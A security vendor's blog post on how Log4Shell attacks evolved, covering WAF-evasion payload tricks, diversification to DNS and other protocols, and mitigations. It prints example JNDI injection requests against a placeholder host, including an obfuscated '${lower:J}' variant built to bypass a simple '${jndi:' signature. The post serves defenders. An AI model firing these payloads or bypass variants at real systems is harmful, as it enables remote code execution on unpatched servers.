A Log4j Retrospective Part 3: Evolution — Payloads and Attack Diversification
In Part 2 of this series, I walked you through the data exfiltration and remote code execution exploits, as well as the threat surface. In this post, I want to talk about what we’re finding with respect to the evolution of the attacks as we continue our research. (For example, in December 2021, Akamai’s Hidecki Okamoto discovered a new vulnerability.) As we continuously monitor the situation and provide protections for our customers, Akamai is seeing the threat evolve in two distinct directions. The first is with respect to payloads.
Enterprises are increasingly relying on mitigations such as web application firewalls, or WAFs, to help protect them. Such systems search for the presence of exploitable strings in web requests and drop any they find. A very simple and contrived example might be to drop any web request that contains the following seven characters adjacent to one another:
${jndi:
This would drop the following web-based example as it would locate the highlighted signature in the request:
GET /${jndi:ldap://rce.malware.example/a} HTTP/1.1
Host: www.webapp.example
This at first might seem like a good signature to look for, but we must remember that Log4j allows for incredibly complex and nested constructions. To get around the above, attackers can change the attack to look like the following:
GET /${${lower:J}ndi:ldap://rce.malware.example/a} HTTP/1.1
Host: www.webapp.example
In this example, the seven special adjacent characters from earlier — ${jndi: — are no longer present, and as a result, the contrived WAF signature would successfully be bypassed.
Let’s examine what Log4j would do upon receiving the path: /${${lower:J}ndi:ldap://rce.malware.example/a} for logging.
First, it would expand the lookup expression of ${lower:J} to j, producing the following interim string:
/${jndi:ldap://rce.malware.example/a}
Next, seeing the JNDI lookup expression of ${jndi:ldap://rce.malware.example/a}, Log4j would pass the LDAP pseudo URL ldap://rce.malware.example/a into JNDI, leading to the exploit detailed earlier.
This results in a cat-and-mouse game in which attackers utilize a payload construction until they are eventually blocked, at which point they modify the payload to once again attempt to bypass signature checks, until they are found again, and so on.
At Akamai, we have seen attempts to bypass checks through manipulation of payload strings similar to and far more advanced than the above, and through less obvious approaches like creative content encodings, transfer encodings, character sets, and more.
The second evolution we are seeing is around the diversification of attack targets and protocols. As mentioned in Part 2, web-based applications are currently the primary attack vector, but we are seeing increased attempts at DNS and other less obvious protocols as the web vector gains more protections and patching continues.
Solution and mitigations
Given the sheer magnitude of the different attack vectors that can be leveraged against this vulnerability, the only true solution is to patch all vulnerable systems. However, as was stated earlier, some systems may not be patchable as they are embedded systems with no method for updates or are commercial off-the-shelf applications for which the vendor’s timelines may not be as fast as desired.
Further complicating mitigation is the fact that many enterprises don’t yet have the comprehensive visibility required in their environments to know exactly which systems are vulnerable in the first place.
We’ve covered mitigations in a previous post on the Akamai blog as well as on our Guardicore team’s blog. As a refresher, Akamai recommends the following actions:
1. For systems that can be patched, do so immediately.
This provides the greatest measure of protection. Ensure Log4j is running the latest version (2.17.0 as of the time of this writing).
2. For systems that have been identified as vulnerable, but for which you must wait to upgrade Log4j, lessen your threat surface with the following settings where possible:
For Log4j versions ≥ 2.10, passing “-Dlog4j2.formatMsgNoLookups=true” to the application at startup will disable lookup expressions.
For Java, ensure the following settings are true on your systems:
com.sun.jndi.ldap.object.trustURLCodebase=false
com.sun.jndi.rmi.object.trustURLCodebase=false
3. Run a WAF, such as Akamai’s market-leading Kona solution, in front of all of your web applications to help filter out attempted attacks.
This should be done for both internal and external servers.
4. Run a DNS firewall, such as Akamai Secure Internet Access Enterprise, to both gain visibility into suspicious DNS payloads traversing your environment as well as to block them.
5. Run a tool to gain comprehensive visibility into exactly what is running across your environment, be it native iron or cloud.
Make use of tools, such as those provided by Akamai Guardicore Segmentation, to provide visibility into everything running in your environment. Utilize these tools to locate applications that you may not be aware are vulnerable.
6. Minimize communications for affected applications.
Utilize identity-based segmentation, such as that provided by Akamai Guardicore Segmentation, to restrict what vulnerable systems can talk to.
What's ahead
These mitigation strategies can significantly lower the risk to vulnerable systems while a patch strategy is architected and executed. Our retrospective is almost complete; thus far, we’ve covered the background, the exploits, and mitigations of a Log4j vulnerability. In Part 4, we’ll finish up with a recap of the lessons learned. Stay tuned.